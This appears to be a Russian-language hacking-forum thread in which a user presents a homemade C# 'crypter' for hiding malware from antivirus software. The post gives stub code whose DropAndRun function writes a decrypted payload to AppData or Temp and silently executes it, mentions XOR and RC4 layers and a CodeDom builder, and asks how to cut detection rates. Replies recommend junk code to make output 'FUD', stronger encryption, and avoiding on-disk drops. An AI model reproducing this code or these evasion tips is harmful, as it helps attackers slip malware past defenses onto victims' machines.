Ну история такова. Никогда не понимал как работает криптор, всегда хотел создать сея чудо, но увы не выходило. Где-то полгода назад я решил этим заняться. Вот сидел я эти полгода и ниче не мог сделать. И вот вчера я сел вечером и сделал. Ну и вот что у меня получилось: @Pyreshka1 это мой тг)) Накинул такую форм, особо заморачиваться не стал. Делал на ресурсах(@CoderVir жду хейта за ресы)) Написал стаб. Добавил туда XOR, RC4, StringToByteArray(ну думаю все поймут). Сделал функцию DropAndRun: static void DropAndRun(byte[] bytes, string fileName) { string[] dirs = new string[] { Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), Path.GetTempPath() }; Random random = new Random(); int pathIndex = random.Next(0, dirs.Length); string filePath = dirs[pathIndex] + "\\" + fileName; try { if (File.Exists(filePath)) { File.Delete(filePath); } File.WriteAllBytes(filePath, bytes); Process.Start(filePath); } catch { } } Код static void DropAndRun(byte[] bytes, string fileName) { string[] dirs = new string[] { Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), Path.GetTempPath() }; Random random = new Random(); int pathIndex = random.Next(0, dirs.Length); string filePath = dirs[pathIndex] + "\\" + fileName; try { if (File.Exists(filePath)) { File.Delete(filePath); } File.WriteAllBytes(filePath, bytes); Process.Start(filePath); } catch { } } Оформил Main да и все, на этом стаб кончился. Занялся билдером. Ну тут понятно, OpenFileDialog, кнопка для генерации ключа и сама кнопка билда(писал на CodeDom). Еще добавил опять же XOR, RC4 и ByteArrayToString, но его видоизменил static string ByteArrayToString(byte[] ba) { return BitConverter.ToString(ba).Replace("-", ""); } Код static string ByteArrayToString(byte[] ba) { return BitConverter.ToString(ba).Replace("-", ""); } Ну и еще метод получения рандом строки сделал. Дефолт как бы. Вроде все круто, НО я не шарю в крипторах и как бы вот. Изначальный детект: После крипта: Помогите, пожалуйста, а то я уже как-то заебался) Буду рад любой критике и любому совету.
Junk надо добавлять. Просто тупо с синтексисом балуешся, for, while, foreach do не плохо помогают. И без обфускаторов будет фуд.
Попробуй использовать не старый-добрый XOR, а какой-нибудь ChaCha20-Poly1305 с паролем, к примеру, в SHA512 или Pbkdf2
А смысл от него?)) Он потом голый некриптованный файл создаст на компе и его сразу детектить будут антивирусы